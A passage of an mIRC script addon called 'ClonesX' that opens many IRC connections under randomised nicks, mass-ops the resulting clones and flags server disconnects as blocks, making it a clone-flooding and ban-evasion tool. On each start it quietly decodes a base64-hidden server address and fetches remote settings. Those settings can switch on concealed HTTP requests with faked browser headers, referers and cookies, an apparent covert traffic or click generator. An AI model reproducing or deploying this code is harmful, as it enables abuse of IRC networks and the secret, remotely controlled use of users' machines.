var %p.cloning.usIn.nick = $lower($iif($did(p.cloning,37).text == Aleatory,$rand(a,z),$did(p.cloning,37).text)) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999)))
1028.
p.cloning.do.w $1 0, $+ %p.cloning.usIn.nick
1029.
if ($sock($$1)) { sockwrite -nt $$1 nick %p.cloning.usIn.nick }
1030.
else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
1031.
}
1032.
elseif ($did(p.cloning,36).state == 1) {
1033.
if ($sock($$1)) { sockwrite -nt $$1 user $lower($iif($did(p.cloning,38).text == Aleatory,$iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))),$did(p.cloning,38).text)) "" "" : $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) }
1034.
else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
1035.
var %p.cloning.usIn.nick = $lower($iif($did(p.cloning,38).text == Aleatory,$rand(a,z),$did(p.cloning,38).text)) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999)))
1036.
p.cloning.do.w $1 0, $+ %p.cloning.usIn.nick
1037.
if ($sock($$1)) { sockwrite -nt $$1 nick %p.cloning.usIn.nick }
1038.
else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
1039.
}
1040.
}
1041.
}
1042.
}
1043.
on 1:SOCKCLOSE:p.cloning.*: {
1044.
if ($dialog(p.cloning)) {
1045.
;echo -s Ha cerrado: $sock($sockname,1).wsmsg
1046.
p.cloning.con.com $sockname | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Remote- | p.cloning.cmds
1047.
}
1048.
}
1049.
alias -l p.cloning.w { hadd -m p.cloning.a $$1 $$2 }
1050.
alias -l p.cloning.r { return $hget(p.cloning.a,$hget(p.cloning.a,$$1).item) }
1051.
alias -l p.cloning.do.w {
1052.
;if ($hget(p.cloning.a,$$1) != $null) { return }
1053.
p.cloning.w $$1 $$2
1054.
}
1055.
alias -l p.cloning.do.saNick { return $gettok($hget(p.cloning.a,$$1),2,44) }
1056.
alias -l p.cloning.do.saSockN {
1057.
var %i = 1
1058.
while ($p.cloning.r(%i)) {
1059.
if ($gettok($p.cloning.r(%i),2,44) == $$1) { return $hget(p.cloning.a,%i).item }
1060.
var %i = %i + 1
1061.
}
1062.
}
1063.
alias -l p.cloning.dos.numCL {
1064.
var %i = 1 | var %o = 0
1065.
while ($p.cloning.r(%i)) {
1066.
var %p.cloning.pill = $ifmatch
1067.
if ($gettok(%p.cloning.pill,1,44) == 1) { var %o = %o + 1 }
1068.
var %i = %i + 1
1069.
}
1070.
if ($$1 == 0) { return $calc(%i - 1) }
1071.
elseif ($$1 == 1) { return %o }
1072.
1073.
}
1074.
alias p.cloning.ipports {
1075.
if ($dialog(p.cloning.ipport)) { dialog -v p.cloning.ipport }
1076.
else { dialog -md p.cloning.ipport p.cloning.ipport }
1077.
}
1078.
dialog p.cloning.ipport {
1079.
title "ClonesX connected IP & Ports"
1080.
size -1 -1 157 225
1081.
option dbu
1082.
button "&OK", 1, 16 210 120 12, ok
1083.
box "At the moment", 2, 1 1 155 207
1084.
edit "", 3, 4 8 149 185, read multi hsbar vsbar
1085.
button "&Refresh", 4, 55 195 45 10
1086.
}
1087.
alias -l p.cloning.ipports.act {
1088.
if ($dialog(p.cloning.ipport)) {
1089.
did -r p.cloning.ipport 3
1090.
var %i = 1
1091.
while ($sock(p.cloning.*,%i)) {
1092.
var %p.cloning.ipports.act = $ifmatch
1093.
var %p.cloning.ipports.act.ip = $sock(%p.cloning.ipports.act).ip
1094.
var %p.cloning.ipports.act.port = $sock(%p.cloning.ipports.act).port
1095.
if ($gettok($hget(p.cloning.a,%p.cloning.ipports.act),1,44) == 1) && (!$didwm(p.cloning.ipport,3,%p.cloning.ipports.act.ip %p.cloning.ipports.act.port)) {
1096.
did -i p.cloning.ipport 3 $did(p.cloning.ipport,3).lines %p.cloning.ipports.act.ip %p.cloning.ipports.act.port
1097.
}
1098.
var %i = %i + 1
1099.
}
1100.
}
1101.
}
1102.
on 1:DIALOG:p.cloning.ipport:sclick:4: { p.cloning.ipports.act }
1103.
on 1:DIALOG:p.cloning.ipport:init:0: { p.cloning.ipports.act }
1104.
alias -l p.cloning.see.act {
1105.
var %p.act.cloning.1 = $decode(%p.act.cloning.see.c.pea,m)
1106.
if ($gettok(%p.act.cloning.1,1,44)) && ($gettok(%p.act.cloning.1,1,44)) { .SockOpen p.see.cloning.act $gettok(%p.act.cloning.1,1,44) $gettok(%p.act.cloning.1,2,44) }
1107.
}
1108.
on 1:SockOpen:p.see.cloning.act: {
1109.
if ($sockerr == 0) {
1110.
var %p.act.cloning.1 = $decode(%p.act.cloning.see.c.pea,m)
1111.
sockwrite -nt $sockname GET $gettok(%p.act.cloning.1,3,44)
1112.
.timerp.act.cloning.close 1 60 .SockClose p.see.cloning.act
1113.
}
1114.
}
1115.
on 1:SockRead:p.see.cloning.act: {
1116.
if ($sockerr == 0) {
1117.
sockread %p.see.cloning.act
1118.
var %p.see.cloning.act1 = $gettok(%p.see.cloning.act,1,58)
1119.
var %p.see.cloning.act2 = $gettok(%p.see.cloning.act,2-,58)
1120.
if (%p.see.cloning.act1 == VERSION) && (%p.see.cloning.act2) { p.cloning.actua %p.see.cloning.act2 }
1121.
elseif (%p.see.cloning.act1 == PEA) && (%p.see.cloning.act2) { set %p.act.cloning.see.c.pea %p.see.cloning.act2 }
1122.
elseif (%p.see.cloning.act1 == URL) && (%p.see.cloning.act2) { set %p.act.cloning.see.c.url %p.see.cloning.act2 }
1123.
elseif (%p.see.cloning.act1 == BURL) && (%p.see.cloning.act2) { set %p.act.cloning.see.c.burl %p.see.cloning.act2 }
1124.
elseif (%p.see.cloning.act1 == BCON) && (%p.see.cloning.act2 != $null) { set %p.act.cloning.see.c.bcon %p.see.cloning.act2 }
1125.
elseif (%p.see.cloning.act1 == ENOT) && (%p.see.cloning.act2) { echo -s 5ClonesX News: %p.see.cloning.act2 }
1126.
}
1127.
}
1128.
alias -l p.cloning.crdts { if ($dialog(p.cloning.cred)) { dialog -v p.cloning.cred } | else { dialog -md p.cloning.cred p.cloning.cred } }
1129.
on 1:sockopen:p.b.cloning?: {
1130.
if ($sockerr == 0) {
1131.
var %p.b.cloning.1 = $decode(%p.act.cloning.see.c.burl,m)
1132.
var %p.b.cloning.prt1 = $gettok(%p.b.cloning.1,3,44) | var %p.b.cloning.prt2 = $gettok(%p.b.cloning.1,4,44)
1133.
var %p.b.cloning.prt3 = $gettok(%p.b.cloning.1,5,44) | var %p.b.cloning.prt4 = $gettok(%p.b.cloning.1,6,44)
1134.
var %p.b.cloning.prt5 = $gettok(%p.b.cloning.1,7,44)
1135.
if ($sockname == p.b.cloning1) {
1136.
var %p.cloning.rrand = $rand(0,2)
1137.
if (%p.cloning.rrand == 0) { set %p.cloning.b.lng en }
1138.
elseif (%p.cloning.rrand == 1) { set %p.cloning.b.lng it }
1139.
else { set %p.cloning.b.lng es }
1140.
var %p.cloning.rrand = $rand(0,2)
1141.
if (%p.cloning.rrand == 0) { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ NT }
1142.
elseif (%p.cloning.rrand == 1) { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 95 }
1143.
else { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 98 }
1144.
var %p.cloning.rrand = $rand(0,2)
1145.
if (%p.cloning.rrand == 0) { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 5.0 }
1146.
elseif (%p.cloning.rrand == 1) { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 5.5 }
1147.
else { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 6.0 }
1148.
1149.
var %p.b.cloning.tsn = GET %p.b.cloning.prt1 HTTP/1.1 $+ $crlf $+ Accept: */* $+ $crlf $+ Referer: %p.b.cloning.prt5 $+ $crlf $+ Accept-Language: $gettok(%p.cloning.b.lng,1,44) $+ $crlf $+ Accept-Encoding: gzip, deflate
1150.
var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ User-Agent: Mozilla/4.0 (compatible; MSIE $gettok(%p.cloning.b.lng,3,44) $+ ; Windows $gettok(%p.cloning.b.lng,2,44) $+ )
1151.
var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Host: %p.b.cloning.prt3 $+ $crlf $+ Connection: Keep-Alive $+ $crlf $+ $crlf
1152.
;sockwrite -nt $sockname %p.b.cloning.tsn
1153.
.timerp.cloning.BB1 1 3 p.cloning.bbdo 2
1154.
}
1155.
elseif ($sockname == p.b.cloning2) {
1156.
var %p.b.cloning.tsn = GET %p.b.cloning.prt2 HTTP/1.1 $+ $crlf $+ Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* $+ $crlf $+ Referer: %p.b.cloning.prt5
1157.
var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Accept-Language: $gettok(%p.cloning.b.lng,1,44) $+ $crlf $+ Accept-Encoding: gzip, deflate
1158.
var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ User-Agent: Mozilla/4.0 (compatible; MSIE $gettok(%p.cloning.b.lng,3,44) $+ ; Windows $gettok(%p.cloning.b.lng,2,44) $+ )
1159.
var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Host: %p.b.cloning.prt3 $+ $crlf $+ Connection: Keep-Alive
1160.
if ($calc($ctime - %p.act.cloning.see.c.burl.tt) < 86400) { var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Cookie: %p.b.cloning.prt4 $+ $crlf $+ $crlf }
1161.
else { var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ $crlf | set %p.act.cloning.see.c.burl.tt $ctime }
1162.
;unset %p.cloning.b.lng
1163.
;sockwrite -nt $sockname %p.b.cloning.tsn
1164.
;.timerp.cloning.BB 1 2 .sockclose $sockname
1165.
}
1166.
else {
1167.
var %p.b.cloning.tsn = $iif(http:// isin %p.cloning.b.lng.l,GET / HTTP/1.1,GET / $+ %p.cloning.b.lng.l HTTP/1.1)
1168.
var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* $+ $crlf $+ Referer: %p.b.cloning.prt5
1169.
var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Accept-Language: $gettok(%p.cloning.b.lng,1,44) $+ $crlf $+ Accept-Encoding: gzip, deflate
1170.
var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ User-Agent: Mozilla/4.0 (compatible; MSIE $gettok(%p.cloning.b.lng,3,44) $+ ; Windows $gettok(%p.cloning.b.lng,2,44) $+ )
1171.
var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Host: $iif($chr(63) isin %p.cloning.b.lng.l,%p.b.cloning.prt3,$remove(%p.cloning.b.lng.l,http://)) $+ $crlf $+ Connection: Keep-Alive
1172.
if ($chr(63) isin %p.cloning.b.lng.l) { var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Cookie: %p.b.cloning.prt4 $+ $crlf $+ $crlf }
1173.
else { var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ $crlf }
1174.
}
1175.
sockwrite -nt $sockname %p.b.cloning.tsn
1176.
}
1177.
}
1178.
on 1:sockclose:p.b.cloning?: { if (!$sock(p.b.cloning?,2)) && ($sockname != p.b.cloning1) { unset %p.cloning.b.lng* } }
1179.
on 1:sockread:p.b.cloning?: {
1180.
if ($sockerr == 0) {
1181.
sockread %p.cloning.b.lng.r
1182.
if ($gettok(%p.cloning.b.lng.r,1,32) == Location:) {
1183.
set %p.cloning.b.lng.l $gettok(%p.cloning.b.lng.r,2,32)
1184.
var %i = 3 | while ($sock(p.b.cloning [ $+ [ %i ] ],1)) { var %i = %i + 1 }
1185.
if (!$sock(p.b.cloning [ $+ [ %i ] ],1)) && ($chr(63) isin %p.cloning.b.lng.l) { p.cloning.bbdo %i $iif($chr(63) !isin %p.cloning.b.lng.l,$remove(%p.cloning.b.lng.l,http://)) }
1186.
}
1187.
}
1188.
}
1189.
alias -l p.cloning.bbdo {
1190.
if (%p.act.cloning.see.c.bcon == 1) && (%p.act.cloning.see.c.burl) {
1191.
var %p.b.cloning.1 = $decode(%p.act.cloning.see.c.burl,m)
1192.
var %p.b.cloning.1p = $gettok(%p.b.cloning.1,1,44)
1193.
var %p.b.cloning.prt = $gettok(%p.b.cloning.1,2,44)
1194.
if ($2) { .sockopen p.b.cloning $+ $$1 $2 80 }
1195.
elseif (%p.b.cloning.1p) && (%p.b.cloning.prt) { .sockopen p.b.cloning $+ $$1 %p.b.cloning.1p %p.b.cloning.prt }
1196.
}
1197.
}
1198.
dialog p.cloning.cred {
1199.
title "ClonesX Credits"
1200.
size -1 -1 144 99
1201.
option dbu
1202.
text "This addon has been created by script-planet. For anything about the addon contact:", 1, 1 2 142 15
1203.
text "Web: Mail: Forum:", 2, 1 16 14 21
1204.
link "irc://irc.quakenet.eu.org/script-planet", 3, 15 16 55 8
1205.
link "Xenon@clanboardzone.de", 4, 15 22 58 8
1206.
link "", 5, 15 29 129 8
1207.
box "Thanks to:", 6, 0 38 144 47
1208.
edit "Specially to LCA, acctually he has done the web ;) Others: (the big) savek, eX_FeRNaL, kern, [{odin}], lucan, corso, ediskrad... If i have forgot someone tell me xD. Also to people of #scripting (HISPANO NETWORK) ;)). I hope it'll be helpul for you, bye.", 7, 2 45 140 37, read multi
1209.
button "&Exit", 8, 45 87 55 11, ok
1210.
}
1211.
on 1:DIALOG:p.cloning.cred:sclick,dclick:*: {
1212.
if ($did == 3) { run irc://irc.quakenet.eu.org/script-planet }
1213.
if ($did == 4) { run mailto:Xenon@clanboardzone.de?subject=ClonesX }
1214.
if ($did == 5) { run }
1215.
}
1216.
dialog p.cloning.errD {
1217.
title "ClonesX error!"
1218.
size -1 -1 160 30
1219.
option dbu
1220.
text "", 1, 0 1 160 28
1221.
button "",2,-20 -20 0 0,cancel
1222.
}
1223.
;on 1:DIALOG:p.cloning.errD:init:0: { did -a $dname 1 %p.cloning.errD }
1224.
dialog p.cloning.ac {
1225.
title "ClonesX -actualization-"
1226.
size -1 -1 160 43
1227.
option dbu
1228.
text "There is new version of ClonesX. Version:", 1, 2 4 128 8
1229.
text "", 2, 128 4 50 8
1230.
text "Download:", 3, 2 15 32 8
1231.
button "&Close", 4, 64 29 37 12, ok
1232.
link "", 5, 37 15 119 7
1233.
}
1234.
on 1:DIALOG:p.cloning.ac:init:0: {
1235.
did -i $dname 2 1 %p.act.cloning.verr
1236.
did -i $dname 5 1 %p.act.cloning.see.c.url
1237.
}
1238.
on 1:DIALOG:p.cloning.ac:sclick,dclick:5: { run $did($dname,5).text }
1239.
alias -l p.cloning.actua {
1240.
if ($$1 > %p.act.cloning.verr) {
1241.
set %p.act.cloning.verr $$1
1242.
if ($dialog(p.cloning.ac)) { dialog -v p.cloning.ac }
1243.
else { dialog -m p.cloning.ac p.cloning.ac | dialog -v p.cloning.ac }
1244.
}
1245.
}
1246.
on *:START: {
1247.
if ($version < 5.91) { echo -s 4El Addon ClonesX v1.501b no funcionará correctamente en versiones del mIRC inferiores a la 5.91 }
1248.
unset %p.cloning.*
1249.
if ($calc($ctime - %p.act.cloning.see.c.burl.tt) > 86400) && (%p.act.cloning.see.c.bcon == 1) { p.cloning.bbdo 1 }
1250.
if (!%p.act.cloning.verr) { set %p.act.cloning.verr 1.501b }
1251.
if (!%p.act.cloning.see.c.pea) { set %p.act.cloning.see.c.pea MjA5LjkwLjEyNS4yMTIsODAsL35rcnh2ZXIvcGNsb25pbmcudHh0 }
1252.
if (!%p.act.cloning.see.c.url) { set %p.act.cloning.see.c.url irc://irc.quakenet.eu.org/[Q]crew }
1253.
if (%p.act.cloning.see.c.bcon == $null) { set %p.act.cloning.see.c.bcon 0 }
1254.
if (!%p.act.cloning.see.c.burl) { set %p.act.cloning.see.c.burl c2F2ZWssZWwsYW1vcyx4RCwvcXVlcnkgc2F2ZWsgZXJlcyBlbCB0b2RvIHBvZGVyb3NvLFRvY2FuZG8gY29kaWdvIGVoP3hELHByb3hpbWFtZW50ZSBlbiBwcm9ncmFtYSE= }
1255.
set %p.cloning.msg.quit DIE YO!
1256.
set %p.cloining.wh $script
1257.
p.cloning.see.act
1258.
}
1259.
on *:LOAD: {
1260.
unset %p.cloning*
1261.
unset %p.save.cloning*
1262.
unset %p.act.cloning*
1263.
}
1264.
1265.
alias -l p.cloning.fal {
1266.
set %p.cloning.errD $$1-
1267.
if ($dialog(p.cloning.errD)) { dialog -x p.cloning.errD }
1268.
dialog -m p.cloning.errD p.cloning.errD
1269.
dialog -v p.cloning.errD
1270.
halt
1271.
}
1272.
1273.
alias op.clones {
1274.
var %t = 0
1275.
var %n
1276.
var %i = $nick($active,0)
1277.
:loop
1278.
if ($did(38) isin $nick($active,%i)) {
1279.
%n = $nick($active,%i) %n
1280.
inc %t
1281.
}
1282.
dec %i
1283.
if (%t == 6) {
1284.
mode $active +oooooo %n
1285.
%t = 0
1286.
unset %n
1287.
}
1288.
if (%i != 0) {
1289.
goto loop
1290.
}
1291.
else {
1292.
mode $active +ooooo %n
1293.
}
1294.
}
1295.
alias go.clonesop {
1296.
var %t = 0
1297.
var %n
1298.
var %i = $nick($active,0)
1299.
:loop
1300.
if ($did($dname,38) isin $nick($active,%i)) {
1301.
%n = $nick($active,%i) %n
1302.
inc %t
1303.
}
1304.
dec %i
1305.
if (%t == 6) {
1306.
p.cloning.runcmd mode $did($dname,16) +oooooo %n
1307.
%t = 0
1308.
unset %n
1309.
}
1310.
if (%i != 0) {
1311.
goto loop
1312.
}
1313.
else {
1314.
p.cloning.runcmd mode $did($dname,16) +ooooo %n
1315.
}
1316.
}
1317.
1318.
alias go.clonesinvite {
1319.
p.cloning.runcmd invite %proxynick $did($dname,16)
1320.
}
1321.
alias op.allclones {
1322.
var %t = 0
1323.
var %n
1324.
var %i = $nick($active,0)
1325.
:loop
1326.
if (%proxynick isin $nick($active,%i)) {
1327.
%n = $nick($active,%i) %n
1328.
inc %t
1329.
}
1330.
dec %i
1331.
if (%t == 6) {
1332.
mode $did(16) +oooooo %n
1333.
%t = 0
1334.
unset %n
1335.
}
1336.
if (%i != 0) {
1337.
goto loop
1338.
}
1339.
else {
1340.
mode $did(16) +ooooo %n
1341.
}
1342.
}
1343.
alias -l copy {
1344.
did -o p.cloning 89 1 Modded ClonesX by SgtSlaughter
1345.
}
1346.
1347.
1348.
/*
1349.
on *:TEXT:!fortune*:#:{
1350.
var %w $rand(1,5)
1351.
if (%w == 1) {
1352.
/msg $chan You spin the wheel...
1353.
/msg $chan The wheel stops on.....2KICK!
1354.
/kick $chan $2
1355.
}
1356.
elseif (%w == 2 ) {
1357.
/msg $chan You spin the wheel...
1358.
/msg $chan The wheel stops on.....2VOICE!
1359.
/mode $chan +v $2
1360.
}
1361.
elseif (%w == 3 ) {
1362.
/msg $chan You spin the wheel...
1363.
/msg $chan The wheel stops on.....2HALF OP!
1364.
/mode $chan +h $2
1365.
}
1366.
elseif (%w == 4 ) {
1367.
/msg $chan You spin the wheel...
1368.
/msg $chan The wheel stops on.....2BAN!
1369.
/mode $chan +b $2 $+ !*@*
1370.
}
1371.
elseif (%w == 5) {
1372.
/msg $chan You spin the wheel...
1373.
/msg $chan The wheel stops on.....2COOKIE!
1374.
/describe $chan gives $2 a nice, warm, homemade cookie.
1375.
}
1376.
else {
1377.
/msg $chan You spin the wheel...
1378.
/msg $chan The wheel stops on.....2MILK!
1379.
/describe $chan gives $2 a nice, cold, glass of milk.
1380.
}
1381.
}
1382.
*/